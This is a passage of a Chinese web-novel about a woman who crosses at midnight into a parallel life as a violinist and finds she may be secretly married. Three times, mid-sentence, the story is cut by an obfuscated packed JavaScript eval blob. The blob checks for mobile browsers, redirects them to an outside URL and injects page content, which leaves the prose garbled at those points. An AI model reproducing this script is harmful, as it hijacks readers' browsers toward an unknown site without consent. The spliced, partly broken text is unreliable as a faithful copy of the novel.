“啊……”Maggie瞬间心情糟透了,后来转念想到谭姐的老公,便又来劲,“曹磊,你认识谭姐老公吗?” “我怎么会认识?”曹磊蒙了,他怎么可能认识一个大叔? 林菀默默地吃饭,不打算加入这个话题。谭姿丈夫跟曹磊是同校同届毕业生。 “我知道Maggie为什么这么问,但是我不说。”一个同事笑得有点得意。 “我也知道,我也不说。”又有一个同事使眼色。 “太狗了吧你们。”曹磊吃不到瓜,气愤抗议。 …… 照例又忙到半夜,林菀赶着末班地铁,疲惫地回家。 进小区,夜风让她并不清醒的大脑突然一片冰凉——黑暗的楼栋门口,一个戴着鸭舌帽穿着宽松黑色皮衣的瘦高个女人叼着烟,插着兜,不耐烦地抖腿。 那张脸……那是去年被丈夫打死的涂淼,死前拼命往门口爬,留下一地血手印。 林菀头皮发麻。她忍不住往前走一步,又后退一步,狠狠捏一把大腿,见鬼了? “林菀!”女人掐灭烟,大步流星走过来,“等一整天了,你跑哪儿去了?哎,你跑什——给劳资站住!” 林菀来不及刷卡,见到有车进小区,直接从升起的拦杆下钻出去。车主吓得一惊,伸头骂人。 涂淼冲过来一把抓住林菀,将她拖到路灯下。 林菀毛骨悚然,拼命挣脱,“我、我很想你真的。可是我很害怕。你回去好不好?我明天就去鸿山寺请和尚给你念经。” “实在不行你就吃口菜!”涂淼狠狠拽住她的衣领,“就说干喝容易醉!” “我没喝酒!” “那你苍蝇进花园,装疯呢?”涂淼松开手,“行吧,你妈也在找你,打个电话——” 她妈妈?这不也是多年前就死了?涂淼话音没落,林菀又吓得一个激灵拔腿就跑。 “毛病啊!”涂淼大喊。寒风灌进喉咙,她咳嗽着弯腰撑住膝盖。 …… 林菀不知自己跑了多久,可她已经跑不动了,只能坐在公交亭里,望着夜色里寂静的街道。一只野猫从草丛窜出来蹲在路灯下舔毛。慢慢的,天空下起毛毛细雨。 涂淼开车停下,摁下车窗。 她没说话,开音响放了首林菀拉的小提琴曲,边听边用手指打节拍。良久,她问:“这曲子叫什么来着?” “流浪者之歌。”林菀说。 “记起来了,你说海飞丝也拉过这首曲子。” “那是海菲茨。”林菀慢慢平静下来,她累了,“我好冷。” 涂淼侧身打开副驾驶车门。 林菀迟疑半晌,终于认命地坐进去。涂淼发动车子,“吃夜宵?” “不吃,明天要上班。” “你不才开始休假吗?明天就要回乐团?” “……”林菀一动不动盯着她,“你是活人?” “我是你大爷。” “我大爷的名字叫什么?”林菀又问,“我是哪一年上小学的?” “你搁这儿跟密保聊天呢?” 林菀默不吭声,突然伸手点屏幕播放《强军战歌》。 涂淼没辙了,“带身份证了吗?我带你去整容医院。” “我要整容?”林菀立即拉住车门把手,打算随时跳车。 “肚脐眼安雷|管了你?一惊一乍。”涂淼吓得手滑,车在路上蛇形,“去看精神科医生啊!你昨天说突然忘了怎么拉琴。你脑子肯定有点毛病。” 林菀哑口无言。不过她可算是明白了,这是跟她在梦里一起拿奖的涂淼。可她现在没做梦啊。 “你这是……我到底……”林菀的话在舌尖几个来回,半晌还是咽回去。她琢磨不通,索性放弃,瘫坐着感受自己的头疼,“谁大半夜去整容医院看精神医生?” “圈子里都这么干。白天怕被粉丝盯梢就半夜去整容医院。反正一个个心理都有点毛病,整容医院就开发个副业呗,赚钱的事谁不干。” 林菀没吭声,突然灵机一动翻包找工卡。工卡没找到,倒是看到身份证。身份证上的出生日期竟比她实际生日早了整整五年……难怪涂淼说她俩是同龄人。到底是怎么回事? “选其他医院也行,但整容医院嘴最严。”涂淼又说。 林菀沉默数秒,“我不去医院,我心理没问题,只是……思维有点混乱,不太记事。” “这就是问题。你连拉琴都不记得,两个月后的演出打算怎么办?趁着休假,把这事儿赶紧搞定才对。忘了乐团里多少人对你的位置虎视眈眈?说实话,你到底还会多少?” “基本都——” “会?” “不会。” 涂淼长叹一口气。 “这样吧,明天去见见我一个熟人。他之前因为脑震荡短暂失忆过。咱死马当活马医,说不定你能跟他沟通出啥效果来。行吗?我真怀疑你在西藏把脑子磕坏了。” 西藏,肯定是麦柯说漏嘴的。林菀到嘴边的“没用”在注意到涂淼眼神后,变成了“可以吧”。 …… 第二天一大早,莱城西郊文化艺术创意区,半山腰的独栋住宅楼。 林菀瞧见几个夜间演出回来的乐手背着吉他,边打哈欠边往远处走。“你朋友是做什么的?” “他在投行工作。”涂淼摁门铃。“之前他脑震荡去医院,我为了画脑袋开花特效妆也去医院,就这么认识了。” 大门被拉开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102821|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳光斜射进去撒在来人肩头。 年轻的男人下意识眯了眯眼睛。 他穿着一件长袖白衬衣,配黑色西裤,但由于肩宽个高,所以像是男装店里的橱窗男模。那一头微卷的黑发稍显凌乱,透着随意慵懒,刚好压住过于高挺的鼻梁所带来的锋利感。而鼻尖下方,是有唇珠的红唇,以及线条流畅的下巴。 他的目光落到林菀身上,霎时顿住。林菀一时间看呆,这男人真好看啊。反应过来她立即挪开目光。 “早啊,徐老师。不好意思我们早到了。”涂淼注意到他黑发有点湿润,大概才起来洗漱。之前在医院,涂淼听到他接电话,实习生喊徐老师,于是她也跟着喊老师。 “没事,叫我箴言就行。”徐箴言很快回神。 涂淼注意到他的目光,介绍道:“这就是我说的朋友,她叫……你喊她菀菀就行。” 他表情温和专注但看不出意味,在等待林菀先开口。 “很高兴认识你。”林菀礼貌伸手。 徐箴言摁在门把上的手一顿,然后才伸出去握住她的手,“你好,请进。” 他带着温度的指尖轻抚过她的掌心,无名指戴着一枚简单的铂金戒指。 “一楼有点吵,我们去二楼茶室?”见两人都点头,徐箴言带路往二楼走,瞥了一眼走廊边的摄像头。而二楼没有摄像头。 二楼客厅是个茶室,一分为二,中间有个推拉门。空气中有淡淡的松节油味道,混着窗外涌进来的垂丝海棠花香,糅合成一种让人心静的香味。 松节油是画画用的。林菀瞥了眼那个推拉门,半开的门后有蓝色为主色调的画作一闪而过,那肯定是个画室。而门边挂着的围裙的确沾染不少蓝色颜料。怎么……这么巧,又是绘画。 “箴言,”涂淼眉眼带着笑意,“新婚快乐。”上次她见徐箴言,他还没戴戒指呢。 徐箴言将窗帘固定好,身形未动,眼神却下意识扫向林菀。林菀猝不及防与他对视,也说道:“新婚快乐。” 徐箴言垂眸看向婚戒。其实现在情侣戴对戒的也不少,可既然林菀都这么说了……他轻轻地牵了牵嘴角,“谢谢。” 徐箴言没再多说,涂淼也没有问,毕竟关系也没好到能聊感情生活。 而林菀则是注意到了在这个茶室里似乎不引人注意,但却又隐秘地体现有女性频繁出现的细节——门后挂着的薄荷色抓夹、小兔布偶抽纸盒、小兔子化妆袋。 “我们这么早过来,没打扰到你太太吧?”涂淼又说。 “没关系,她出差了。”徐箴言取出凤凰单丛茶盒,“喝这个?” “不用。我们呆一会儿就走。”林菀婉拒。凤凰单丛挺贵,不过是她最喜欢的茶叶。 “我可以迟点上班。”徐箴言不疾不徐地开口,依旧看着林菀,“毕竟好久没见了。” “是啊,我好久没见你了。”涂淼立马接话,没想到徐箴言这么热情,她也很高兴。然后趁着他泡茶的功夫,她压低声音问林菀,“你跟他说话,怎么老是盯着我?” “他太好看了,我不好意思看他。” “你注意作风问题啊,他已经结婚了。” “我知道!” 涂淼恢复笑容,清清嗓子,接过徐箴言递过来的茶杯,“其实今天找你是因为你之前有短暂失忆,她现在也出现类似情况——” “谁?”这是徐箴言第一次打断她的话,语气也变了。 “我。”林菀接话,“我这几天思维混乱,不记事。” “记不得什么?”徐箴言一瞬不瞬地望着她的眼睛。 “倒不如问她还能记得啥。”涂淼插嘴,“昨晚看到我跟看到鬼一样。” 也就说,林菀连十年老友都能忘,更别论其他人。 徐箴言瞳孔猛地缩了缩,背脊陡然僵硬。由于坐姿变换,他的椅子在地上滑出尖锐的响声。 这是涂淼今天所见,乃至认识以来他最大的反应。 5. 再次自我介绍 徐箴言沉默良久,重新凝神看她,“这是我们第一次见面?” “……你之前见过我?” “见过!”涂淼眼睛一亮,拍拍林菀的腿,“元旦那场音乐会,我跟你说看到一个朋友也来了,就是他。”她这样一说,林菀的身份还是暴露了。 林菀了然点头,尴尬笑了一下。 徐箴言安静垂眸思忖,眼睫毛在眼睑投下浅浅阴影。等他的目光再次落过来,林菀突然莫名感觉无法坦然对视。 他缓了片刻,起身习惯性一笑,然而手指却暗暗紧扣椅背,“稍等一下。”说完便进了内室。 “就说一大早来,肯定打扰他。”林菀回头埋怨。 “他今天只有早上有时间。”涂淼摸出手机,“我去阳台接个电话。” 而画室那边,毫无声息。林菀不知道徐箴言在室内做什么,但这过分安静却让人不安。 涂淼的电话时间够长,长到徐箴言再次出现,她还没回来。而徐箴言似乎有什么地方变了,是眼神。 他的目光有一种难以言状的情绪,掩藏在黑色的瞳仁后。他呼吸微沉,胸膛缓缓起伏,再次向林菀伸出手,“我叫徐箴言,在投行工作。” “为什么要重新介绍?”林菀忍不住笑了,来不及多想。 “你可能需要重新认识我。”他一字一句地说。 林菀瞧了瞧涂淼在阳台上的背影,也放低声音,“我叫林菀。” “我知道。”徐箴言温声答,“我不会告诉别人。” “谢谢你。” 他直入正题,“眼下的问题,对你现在的生活有多少影响?” “没多大影响。”林菀实话实说。 “那关于原因,你有什么头绪吗?” 原因?没有原因。林菀清楚得很,而且她不想撒谎。 “我只是思维混乱而已,就好像现实和——”她及时闭上嘴巴,本想说现实和虚拟混合,但发觉这话显得自己像个精神病人。她犹豫着寻找合适的词语表达自己,但一时暂刻找不到。 “我能理解,下次再聊也可以。”徐箴言看得出林菀并不着急,说明事情还在她的掌控范围之内。而且很明显,她有不想透漏的隐情。只要她不焦虑,他就有更充裕的时间做打算。 林菀放松下来,但还是解释道:“我不是不信任你,这是我自己的问题。” 徐箴言的嘴角牵起柔和的弧度,主动说起自己的经历,“我以前因为脑震荡,记忆区域受损,大概一个月才恢复。” 这相比林菀的“几天”长了不少,他是在宽慰她。林菀问,“那你当时着急吗?” 徐箴言轻轻摇头,“我对自己的身体情况很清楚,不管什么结果都有心理准备。” 林菀突然发现了徐箴言这个人的特点,他很稳。如果在一部探险电影里,他大概就是面对岩浆滚到面前还能冷静分析逃生路的角色。 “冒昧问一下,你当时怎么受伤的?”林菀有些好奇。 “我知道。”涂淼回来坐下,“我在抖音看到过,你从停车场出来,那个神经病突然拿着榔头敲上来,太可怕了。听说那个男的是毒瘾发作。” “已经过去了。”徐箴言并不打算多说。他看上去似乎坦然而淡定,问林菀,“方便留个联系方式?” “那微信吧。”林菀掏出手机。 徐箴言在看到她手机的那一瞬间,突然如释重负。 半个小时后,他开门送两人离开。 “有时间一起吃饭啊!”涂淼从车窗探出头来挥手。 “好。”徐箴言站在路口,目送车子远去,笑容逐渐消失在唇角。 …… 涂淼将车拐进主路,“现在去哪儿?” “乐团!我想去看看工作的地方。”林菀突然兴奋,“同事们都上班了吧?” “动动脑子,如果同事请你合奏,你找什么理由?还不如赶紧去报个成人小提琴班。” 林菀盯着她,“你能不能不要给我压力?” “为什么?” “因为任何困难都能把我打倒。”林菀看向窗外,含糊道,“我此刻只想……留下开心的记忆。”她总是隐隐约约觉得这离奇的经历持续不了多久,所以想多体验一下事业巅峰的幸福感。 涂淼忍住了想骂她不争气的怒意,突然叹气,“去我那儿吧。” 半个小时后,涂淼个人工作室。 “老板今天好早啊,咦,林首席也来了,早上好!”开放式工作间里,每个人都在忙碌。 林菀笑着跟所有人打招呼,打量着门口的花篮、墙壁上的各种照片、满满当当的橱柜、模具,还来不及多说话就被涂淼塞进办公室。 “小美,果盘、可乐、威士忌,送进来。” “喳。”职员小美哼着曲子去拿酒,“早上一杯酒,活到九十九。” 林菀在专心看各种奖杯和照片。涂淼没管她,打开投影仪,拉林菀坐下,“来吧,看看你的辉煌历史。” 投影仪播放的是涂淼手机里的视频和照片,有参加比赛时紧张得手抖的林菀,有第一次在莱音演出的林菀,有演出失误后痛哭流涕的林菀,有尝试蹦极的林菀,有被涂淼练手化妆的林菀。一张张照片,一段段视频,描绘出精彩又跌宕起伏的人生。 “我有一种dejavu的感觉,就仿佛在梦里做过这些事情一样。”林菀用一大口威士忌压下自己的鼻酸,“原来换一种人生,我可以做到这么多事情。” “你现在也可以啊。” “可我如果没有学小提琴……”她哑声道,“我就去做品牌运营了。” “什么?” “朝九晚六,经常加班,在公司吃食堂,回家吃外卖。虽然没有宠物,但我也在门口贴了个条,‘家里有狗,请不要敲门,物品放门口’。”林菀的语气略带自嘲,她突然想起什么,“对了,你家人都还在做登山向导?” “什么向导?我一人吃饱,全家不饿。”涂淼说。她父母已经去世了。 林菀愣怔一下,没有说话。在原本的生活里,她埋怨涂淼的父母,认为涂淼的死亡也有她父母的责任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102822|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “哎,给你看我在好莱坞拍的东西。” “好。”林菀继续看向投影墙壁,搂住涂淼的肩膀。这个世界,很好。可她越觉得这里好,越落寞于另一个世界的自己。 …… 白天出差去隔壁城市,晚上徐箴言回家已经接近午夜。 屋子里静悄悄的,漆黑一片。大门外路灯的光芒洒进来,在地上画出一块平行四边形的光块。 关上门,他站在黑暗里一动不动,就像雕塑一样。有一些情绪,只有独自一个人时才能坦然面对。 不知多久后,他回过神来,视线已经适应了黑暗。他没有开灯,顺手放下包和外套,进卧室换了居家服,开始在连月亮都沉睡的半夜收拾屋子。 先把客厅的沙发吸尘一遍,然后换掉卧室的床单被褥,再将二楼的画室打开透气,把所有画笔调色盘清洗干净,最后进厨房拆抽油烟机。这是一项非常费力费时间的活儿,等徐箴言把滤网洗干净擦干,已经是午夜三点。 而窗外,依旧黑暗。 徐箴言独自在沙发坐下来。台灯暗淡的光中,他的脸若隐若现。 他就这样坐着,很久,很久。 …… 林菀和涂淼在沙发上睡到晚上,直到小美午夜从酒吧回来路过工作室拿东西时将她们叫醒送回家。 “好歹活得像个人吧,林菀。”打开林家大门,涂淼将钥匙拍在鞋柜上,眼里醉意明显,“你说你这房子装修一年了,怎么还像没人住一样?” “我的房子?”林菀傻笑起来,突然豪气万丈,“对!我的房子!进来参观一下!” “我真不信邪。”涂淼熟门熟路进西面的房间,拿出来一把小提琴,“你试试!” 这里是个衣物间,放着各种鞋包服饰,以及小提琴。 “哇,这些都是我的?”林菀也跟进去,开心地团团转,“哎你知道我存折在哪里吗?我想瞻仰一下我的余额数字,一定非常动人心弦。” “你先出来拉琴。”涂淼将她拉出来。 “好!我来试试!”林菀撸起袖子接过来,才比了个样儿就呲溜手滑,小提琴哐当一声砸到地上。 空气突然沉默。 “……你要不要在这儿睡?”林菀默默地把琴捡起来,用袖子擦擦。 涂淼伸手狠狠敲了她一个脑瓜崩,“劳资爱徒还在楼下等着呢,走了!” …… 等涂淼离开,林菀本想再去衣物间开心一下,但实在是头痛欲裂,她只能回卧室休息。可是她好开心啊!她将那把小提琴拿出来,一遍又一遍仔仔细细地擦拭,仿佛要记住琴身每一条纹路。 擦拭干净,她轻轻抚摸着琴弦——怎么就不会呢?当初坚持下来该多好啊。为什么人生不能重来? 她又有点想哭。 夜已深,她抱着小提琴蜷缩在床上,伸手拨弄开床头柜第一个抽屉拿纸巾。 没有纸巾。 这是什么啊?避孕套还有润滑液。咦,润滑液竟然还是草莓味儿的。 纸巾在哪里呢? 6. 林菀的婚戒 避孕套!怎么会有避孕套! 草莓味! 林菀一个鲤鱼打挺坐起身,又一阵天旋地转栽回去。窗帘外晨光熹微,手机闹钟显示早上六点半。她怀里没有小提琴。 林菀迟疑地拉开床头柜第一个抽屉—— 里面是纸巾和换洗内衣,上次六一八打折买的。 没有避孕套,也没有润滑液。 林菀掀开被子光脚跑去对面房间。里面放着房东没搬走的桌椅,压根没有满屋子的鞋包,当然也没有琴盒。 她顺着门慢慢滑下来坐到地上,明白了。虽然房子一样,但细节不一样。她之前还没注意到这一点。那么,自己这几天来回经历的是其实是两个——完全不同的世界。 平行世界? 在那个全新的世界,她年纪轻轻事业有成,朋友相伴前途无量,而且好像在谈恋爱。不知道对象是谁? 闹钟再次响起来,将小提琴家林菀拉回社畜咸鱼林菀的状态。 不知道为什么,心情不一样了,就好像一个尘封已久的屋子新出现了一扇窗。打开窗户,阳光灿烂,将黑暗一扫而光。 而此刻,窗外的确日光炽亮。 …… “刚买的咖啡牛轧糖,试试。”林菀起身将小零食放到对面Maggie桌上。她已经给周围同事都发了。所有人都例行假装充耳不闻地忙活,等轮到自己了就陡然惊喜,“啊啊啊,这是什么,哦,谢谢!” “有什么好事?”Maggie拿着文件袋坐下,笑得意味深长,朝她挤挤眼睛。 “单纯开心而已。”林菀微笑着撑着下巴看电脑。由于反光,屏幕上有她模糊的样子。她顺手整理了一下丸子头。 谈起娱乐圈的明星,大家都说红气养人。越红越光鲜亮丽。也不知道是不是同被这种心理影响,林菀总感觉此刻拥有另一个身份的自己,意气风发很多。 “哎,听说园区那家新开的印度咖喱店人多,我们得早点出门。”Maggie提醒道。 “你们去吃,不用等我。” 她突然见谭姿新发了消息,于是起身去领导办公室。 等到跟谭姿聊完工作,大家都已经先行出门,所以就她俩一起出门吃饭。 在十字路口等红灯时,对面银行里一个穿着西装戴着胸牌的高挑男人匆匆走出来。 林菀看着他,突然想起了徐箴言。 谭姿没注意到她的打量,“上次你说自己是试管婴儿,真的?” “对。”林菀有点意外上司会突然提到这个。 “第三代试管?” “第二代技术。他们先做了试管,然后把受精卵冷冻五年——”林菀猛地打住话头。竟然对上了,竟然跟那个平行世界对上了!如果她早出生五年,那么的确跟涂淼同龄。难不成那个世界是以她提前五年出生为前提? “为什么要冷冻五年?”谭姿问。 “……我也不太清楚。”林菀回神,委婉一笑。那时由于夫妻感情不和,她的父母将受精卵冷冻五年,不打算立即生育。五年后,受精卵解冻,林菀顺利出生。“不过,这没有造成任何健康问题。我从小到大的生理指标都正常。” 这个回答大概能解释谭姿关心的问题吧。对于她询问的原因,林菀能猜到一二。谭姿大概计划要小孩,但是以她的年龄来说,自然怀孕稍有困难。 不过,林菀并不打算就这事儿聊下去,一是她了解不多,二是越说越暴露她的家庭背景。没人愿意和她这样出身的孩子做朋友。饶是她自己也无法理解生理学母亲怎么能对另一半痛下杀手,仅仅为了金钱。 在平均月收入只有几百元的千禧年之交,林菀的父亲林乃岳居然拥有保值达到三百万人民币的人身意外保险。而林菀也有价值十万的儿童意外险,那是儿童意外险最高保值。 受益人均为林乃岳的妻子,林菀的母亲,林珠莉。 在林菀生长的小镇上,所有邻里乡亲都知道这件事,大家都议论纷纷,以至于吓唬小孩的话语都变成“你再不听话?小心林菀妈妈把你抓走!” 林菀,无处躲藏。 …… 傍晚六点,下班时间。 Maggie一边补口红,一边探头望了下领导们的办公室,小声问对面的林菀,“下班吗?” 林菀扫了眼电脑,她已经完成今日工作,但——“你先走吧,拜拜。” 她想拖到十一点再往回走。参考最近穿越规律,她发现去往那个完美世界的途径在于半夜十二点搭末班地铁回家,虽然还搞不清原因。 终于晃到到十一点,林菀一扫疲惫,高兴地往回走。 午夜末班地铁哐当一声响,到达繁寓路站。她揣着一颗雀跃的心踏出地铁,立即四处张望。空荡荡的站台,除了她,没有其他人。 她也不知道自己在期待什么,失望一瞬而过。然而出站后,路灯下停着一辆车,徐箴言正靠窗站在那里。 穿越了!林菀开心地加快脚步,挥手打招呼,“徐先——箴言你好!”她记得上次他说让喊名字。 徐箴言正准备打电话,抬头瞧见她,立即也笑起来,收手机走过来,“怎么现在才回来?”她看上去好开心。 林菀有些惊讶,回头看看地铁站,“你等我?知道这里是我家?” 徐箴言意识到自己唐突了,可表情没有太多的异样,“这个点了,大家肯定都要回家。我是……刚刚去丈母娘家拿了点东西。” “那你也快回去吧,再见。” 徐箴言拉住她的胳膊,又立即松手,“太晚了,我送你回去。” “耽误时间,你家挺远。”林菀说。让一个已婚男人送自己回家有点怪,但是考虑到已经午夜,人家讲礼貌也是理所应当。 徐箴言沉默了一下,抬起头来脸上依旧有温和的笑意,仿佛从不曾失意。他的声音平静而暗含春风般的温柔。“我爱人若知道我不送你,会说我不对。” 他打开后座车门,座椅上放着一个行李箱,以及两篮草莓,一篮圣女果。他拎了一篮草莓出来,“有个老人在地铁口卖水果,大半夜了还没走,我索性都买了。你拿一篮草莓回去。” “那谢谢了。”她礼貌道谢。这种好意不方便推辞。幸好他没给圣女果,因为她不喜欢。 路上没有其他行人,风便格外幽凉。徐箴言提着那篮草莓,淡淡的草莓香气就摇曳在两人的步伐之间。 “你喜欢草莓?” “对,”徐箴言说,“最近工作很忙?” 林菀刚要点头就意识到在这个世界里她不是普通上班族,而是正在休假的小提琴家。“没有……我在涂淼那儿帮忙。” “想起一些了吗?”他又问。 林菀一笑,摇摇头,“你妻子回来了吗?我请你们吃饭。”毕竟人家这么热心。 “她要出差很长时间,”徐箴言思索几秒,侧头看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102823|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我一个人可以吗?” 林菀脚下一顿,点点头,“那明天晚饭?我叫上涂淼作陪。”她怕时间拖长,自己又穿越回去了。 “好。” 走到自家楼栋下,林菀摁电梯进去,看到徐箴言依旧站在夜风中,静静地看着她。 …… 由于时间太晚,明天还得上班,徐箴言没有回自己家,而是去了附近的徐雯家。 开门,客厅里一片漆黑,只有书房门缝里漏出光芒。 徐箴言打开灯,脱掉外套,去厨房接了两杯水,轻声推开书房的门。 徐雯上半身穿着正装,下半身穿着睡裤,正在办公桌前开视频会议。瞧见弟弟进来,她略有惊讶,但注意力很快回到会议上。而徐箴言把水杯放到桌上,转身欲走却见徐雯对着视频那端说起再见。 “太压榨了,徐总。”徐箴言喝了口水。 徐雯关掉电脑起身。她比徐箴言大了十多岁,因为工作繁忙而面有疲态,但整体依旧保养得益。 “那是加拿大的中介。温哥华的房子最近漏水重装,打算弄好卖掉。”徐雯伸手抚上他的胳膊,“怎么半夜过来?加班到现在了?”她关切地打量弟弟的眉眼,他眼里红血丝太重,一看就是没睡好,光操心。 “没,稍不注意就到这个点儿了。”徐箴言转身欲走,却被姐姐拉着不能动弹。 “又瘦了,每天都在吃什么。你最近忙得不见踪影,真没事瞒着我?”她总是担心,担心徐箴言又出问题。而他向来报喜不报忧。 “没有。”徐箴言自然地岔开话题,“姐夫睡了?” “他出差开会,下周回来。”徐雯关掉书房的灯,放低声音,“明天晚点起,我叫你。别让蕊蕊看到你在这。” “没事,我送她去幼儿园也来得及上班。” …… 林菀一夜都没怎么休息。她不敢回床上,怕一觉醒来又回去了。所以她窝在沙发上,有一搭没一搭地看小提琴入门视频,也不敢上手练,大半夜不能扰民。 早上她终于睡着,不久便被快递吵醒。送件人员递来一个盒子,“您好,麻烦查验后签个字。” “什么东西?”林菀拆开盒子,顺手签字。 “您的戒指。”对方恭敬地说。 林菀一愣,却还真从盒子里掏出来一个精致的丝绒戒指盒,里面有一枚亮晶晶的钻戒,“这是——” “就是您送回来我们店里调整大小的那枚女式婚戒。男式那款,您说没问题。” “……”林菀石化了,瞪着对方一动不动。 “如果没有问题的话,我就先走了。欢迎您再来选购。”对方鞠躬离开。 “等等,你——” 电梯叮一声打开,是对门邻居回来了。林菀瞧见邻居打量的目光,迅速退回家关门。 她迅速坐下来,仔细研究那枚戒指。这戒指造型简约大方又别致,还有点眼熟——苍天!这是谭姿戒指的同款! 林菀迅速掏手机上网查询,越查越心凉,这真是一个奢侈品牌最经典的婚戒。 她脑海里莫名浮现前些天的一幕——地铁站里,一个婚纱店店员说林菀和丈夫去试过婚纱。 就是那天,她一觉睡醒遇见了麦柯,那是第一次穿越。 她下意识看向卧室床头柜……那里的东西…… 不是有男朋友,是有老公? 完了,她心里只有这两个字。 7. 闪婚还是隐婚 一大早,徐箴言还在洗手间刮胡子,刚刚五岁的蕊蕊穿着星黛露睡衣冲进来,一把抱住徐箴言的腿,“舅舅!” 徐箴言笑着拿纸巾擦掉下巴上的泡沫。 “你好久没来看我了!”蕊蕊说着就像小时候一样抬腿往上爬。 “你已经长大了。”徐箴言立即撤开腿,将她抱起来,“要抱就告诉我,不能再爬,知道吗?” “可是我爬妈妈都可以。”蕊蕊歪头。 “妈妈是女孩,舅舅不是。” 蕊蕊似懂非懂地点头,即使她已经被教育过男女有别。 餐厅里,保姆阿姨已经摆好餐食。徐雯还在化妆,所以蕊蕊吃饭由徐箴言负责。论带孩子,他比徐雯熟练。 一见到徐雯出来,蕊蕊立即大喊:“妈妈我不去幼儿园!我今天上班。我跟舅舅去上班。” “你少来,吃完饭老实去幼儿园。”徐雯昨晚没休息好,正心浮气躁。 蕊蕊嘴巴一瘪,正要发作,但徐箴言突然剥了个鹌鹑蛋放在她碗里。“今天你有两个选择。一是我送你去幼儿园,咱们可以带上一个奶酪棒,路上听你喜欢的儿歌,二是刘阿姨送你去,没有奶酪棒,没有儿歌。” “那你送我去。”蕊蕊立即忘了自己原本要上班。 徐箴言抽纸帮她擦手,抬头若无其事地问徐雯,“女生收藏戒指的小首饰盒一般放在什么地方?” “问你女朋友,问我干什么。”徐雯知道徐箴言偶尔戴情侣戒指,所以也没注意那戒指已经换了样式。 徐箴言捏捏眉心,轻轻叹了口气。 “什么时候把她带过来?”徐雯又问。 徐箴言在给蕊蕊喂饭,“等结婚了吧。” 徐雯瞪了弟弟一眼,以为他在开玩笑,“没个正经样。” “草莓洗好了,要装一盒给蕊蕊路上吃吗?”保姆阿姨从厨房探出头来。 “带吧。”徐雯知道肯定是徐箴言买的。 吃完饭,徐箴言检查了蕊蕊书包里的水杯、吸汗巾、换洗衣裤是否带齐,然后带孩子出门。 …… 下午,预定的日式烤肉店。 “一直以来,我对你的底线要求是不犯法就行。但是你厕所跳高,过分了。”涂淼放下那只婚戒,脸已经黑得快冒烟。 “……我知道错了,但重点是解决问题。你知道那男的是谁么?”林菀硬着头皮问,她在家没找到户口本。 “……我不是你公婆,我也不是算命的。” “难道我是闪婚?我怎么可能不告诉你呢。”林菀觉得这个事情简直匪夷所思。 “你完了,你知道我肯定看不上那男的。”涂淼摁住林菀手机上展示的界面,放大照片,“等等,徐箴言戴的就是这款戒指吧,挚爱婚礼系列。” “所以说是经典款,我领导、还有那个叫林吾——就是一个很有名的画家,都戴这款婚戒。” “怎么着?这些人都跟你结婚了?” “……反正我铁定没跟徐箴言结婚。”面对涂淼的阴阳,林菀只能老实应承。 这事情很费解。如果按照在原本世界的性格来,她是彻底的回避型依恋者。别人不喜欢她吧,她就上头,几行聊天记录能在被子里偷偷分析八百遍。别人一旦喜欢她吧,她就索然无味。白天答应对方,晚上就后悔了。连恋爱都坚持不长久,怎么可能结婚? “很奇怪,我手机通讯录和社交软件都没有关于丈夫的,家里也没有任何男人的东西。前几天还看到有成人用品,后来就没了,可能是幻觉。总而言之,我那屋子就是一个单身女性的生活状态。怎么可能已婚呢?”林菀试图从其他角度说服自己没有结婚。 涂淼已经气糊涂,反而翘着二郎腿,一边笑一边晃悠腿,“我要是你,我不担心闪婚,我要担心有没有签婚前财产协议,以及为什么那个男人这么多天了压根没有出现过。”她斜眼看林菀,“也没有任何联系吧?”要不然这蠢货不会如此懵逼。 林菀头皮发麻。在原来的世界,她是个穷人。但在这个世界,她是从小砸钱学艺术的小提琴家,是个小富婆。“难不成我跟那个男的是在离婚冷静期——” “什么离婚冷静期?” 林菀回神,这是五年前,压根没有离婚冷静期的规定。“对了,我可以去民政局查我跟谁结婚——” “民政局不是全国联网,你能保证你就是在莱城领证的吗?”涂淼越想越觉得离谱,“是不是经常给你做头发的那个tony?我就知道!那个小学鸡专哄富婆!” 林菀满头黑线,“……我倒还不至于如此失智。” “那你干嘛偷摸结婚?就你能维持长期感情我都惊讶。就上学那会儿,你喜欢的那个男生回头来追你,妈呀你跑得比兔子还快。”涂淼啧啧两声,“说现在,男方如果不是见不得人,那就是见了太多人——我靠啊,你是不是跟明星结婚了?就《日光城交响曲》,出名的演员一抓一大把。对,隐婚!” 林菀皱起眉头,她压根不追星的。不过她还是掏手机查《日光城交响曲》的消息。然而都不用她查询,手机弹出来的新闻推送直接都是—— “惊爆!网传著名演员孙某因涉及洗钱大案被警方羁押” “《日光城交响曲》男二或涉嫌犯罪,经纪人拒绝回应相关传闻” 